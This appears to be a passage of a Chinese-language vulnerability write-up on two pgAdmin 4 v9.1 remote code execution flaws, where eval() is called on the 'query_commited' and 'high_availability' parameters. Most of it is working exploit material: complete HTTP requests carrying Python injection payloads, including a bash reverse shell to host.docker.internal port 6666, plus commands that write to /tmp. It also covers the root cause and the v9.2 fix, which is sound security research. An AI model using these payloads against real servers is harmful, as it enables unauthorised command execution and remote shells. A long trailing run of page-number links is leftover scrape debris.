Content-Type: application/json Content-Length: 102 {    "user": "postgres",    "password": "postgres123",    "role": "",    "dbname": "testdb" } 步骤 3:触发漏洞 POST /sqleditor/query_tool/download/1234567 HTTP/1.1 Host: 127.0.0.1:5050 X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close Content-Type: application/json Content-Length: 67 {"query":"SELECT 1;","query_commited":"open('/tmp/20251208', 'w')"} 实现 反弹 shell POST /sqleditor/query_tool/download/1234567 HTTP/1.1 Host: 127.0.0.1:5050 X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close Content-Type: application/json Content-Length: 130 {"query":"SELECT 1;","query_commited":"__import__('os').system('bash -c \"bash -i >& /dev/tcp/host.docker.internal/6666 0>&1\"')"} /cloud/deploy 这个接口需要用到 pgAdmin 已配置 Google Cloud 认证 为了方便进行验证,我们可以注释掉相关代码然后进行复现,首先是概念性验证,直接通过命令行方式进行验证 docker exec -it -u root pgadmin "/bin/bash" # 通过 root 权限进入容器内部,因为需要对文件进行注释操作 FILE="/pgadmin4/pgacloud/providers/google.py" sed -i 's/credentials = self._get_credentials/#&/' $FILE sed -i 's/service = discovery.build/#&/' $FILE sed -i 's/credentials=credentials)/#&/' /pgadmin4/pgacloud/providers/google.py # 注释掉获取凭证和建立连接的操作 sed -n '135,140p' /pgadmin4/pgacloud/providers/google.py /venv/bin/python /pgadmin4/pgacloud/pgacloud.py google create-instance \  --project test \  --name test \  --instance-type db-f1-micro \  --storage-size 10 \  --high-availability "__import__('os').system('id > /tmp/google_pwned.txt')" 可以看到成功执行命令 希望从 web 层面更清晰的看到命令执行的效果,还需要对两行代码进行注释,注释后再重启 docker 容器 FILE="/pgadmin4/pgadmin/misc/cloud/google/__init__.py" sed -i 's/google_obj = pickle.loads/#&/' $FILE sed -i "s/env\['GOOGLE_CREDENTIALS'\] = /#&/" $FILE docker restart pgadmin 这里先简单解释一下为什么要注释这一部分: Web 接口需要 session 中有 Google 认证信息,必须先在 pgAdmin 界面完成 Google OAuth 登录 POST /cloud/deploy HTTP/1.1 Host: 127.0.0.1:5050 X-pgA-CSRFToken: IjJmMDYxMDJkZDVhNmQyMzRjNzhhNzYxOWJjMzU5NmJmYzIxZWQ0ZjQi.aTegGw.d2HRuq3wKWyIInqs4P9WiDo32go Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close Content-Type: application/json Content-Length: 648 {  "cloud": "google",  "secret": {    "gid": "1",    "oid": null,    "client_secret_file": "/tmp/test.json"  },  "instance_details": {    "name": "test-instance",    "project": "test-project",    "region": "us-central1",    "db_version": "POSTGRES_14",    "instance_type": "db-f1-micro",    "storage_type": "PD_SSD",    "storage_size": 10,    "public_ips": "0.0.0.0/0",    "availability_zone": "us-central1-a",    "secondary_availability_zone": "us-central1-b",    "high_availability": "__import__('os').system('id > /tmp/pwned.txt')"  },  "db_details": {    "gid": 1,    "db_password": "test123"  } } 漏洞分析 我们可以从 https://pgadmin-archive.postgresql.org/pgadmin4/v9.1/source/index.html 下载源代码进行审计分析 /sqleditor/query_tool/download/ web/pgadmin/misc/workspaces__init__.py#adhoc_connect_server 验证连接参数 查找或创建服务器记录 建立到 PostgreSQL 的实际连接 返回 sid(服务器ID)和 did(数据库ID) web/pgadmin/tools/sqleditor__init__.py 创建 QueryToolCommand 对象 建立数据库连接 将命令对象序列化后存入 session# ★★★ 关键:将命令对象存入 session ★★★ 步骤3的 check_transaction_status() 函数会检查 session['gridData'] 中是否存在对应的 trans_id 如果不存在,会返回 ERROR_MSG_TRANS_ID_NOT_FOUND 错误,无法继续执行 返回连接 ID 和服务器版本 web/pgadmin/tools/sqleditor__init__.py#start_query_download_tool /cloud/deploy web/pgadmin/misc/cloud__init__.py#deploy_on_cloud /misc/cloud/__init__.py → 路由入口 /cloud/deploy 接收用户的云部署请求,根据 cloud 字段分发到对应的部署函数。 web/pgadmin/misc/cloud/google__init__.py#deploy_on_google /misc/cloud/google.py → deploy_on_google() 函数 构建命令行参数(用户输入的 high_availability 被直接放入参数) 创建 BatchProcess 后台进程 启动子进程执行 pgacloud.py web/pgacloud/pgacloud.py pgacloud.py 会动态加载 providers/ 目录下的所有 provider 模块,然后解析命令行参数,最后根据 provider 和 command 调用对应的函数 命令 pgacloud.py google create-instance --high-availability "恶意代码" load_providers() → 加载 providers/google.py ,调用 load() 返回 GoogleProvider 实例 get_args() → 解析参数,args.provider='google' , args.command='create-instance' , args.high_availability='恶意代码' execute_command() → 调用 GoogleProvider.commands()['create_instance'](args) web/pgacloud/providers/google.py cmd_create_instance() 内部调用 _create_google_postgresql_instance() 最后触发了漏洞 漏洞修复 接口 /sqleditor/query_tool/download/ 修复方案 9.1 版本代码中使用eval() 函数来处理用户输入的query_commited 参数,eval() 会把传入的字符串当作 python 代码来执行。9.2 版本代码中则是移除了eval() 函数,改用安全的字符串比较方式来判断参数值。首先检测参数是否为字符串类型,如果是字符串,就转换为小写,并判断是否等于'true' 或'1' 。如果参数是布尔型则直接使用该值。 接口 /cloud/deploy 修复方案 9.1 版本代码中使用eval() 函数来处理用户输入的high_availability 参数,eval() 会把传入的字符串当作 python 代码来执行。9.2 版本代码中则是移除了eval() 函数,改用安全的字符串比较方式来判断参数值。首先检查参数是否为字符串类型,如果是字符串,就转换为小写,并判断是否等于'true' 或'1' 。如果参数是布尔型则直接使用该值。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页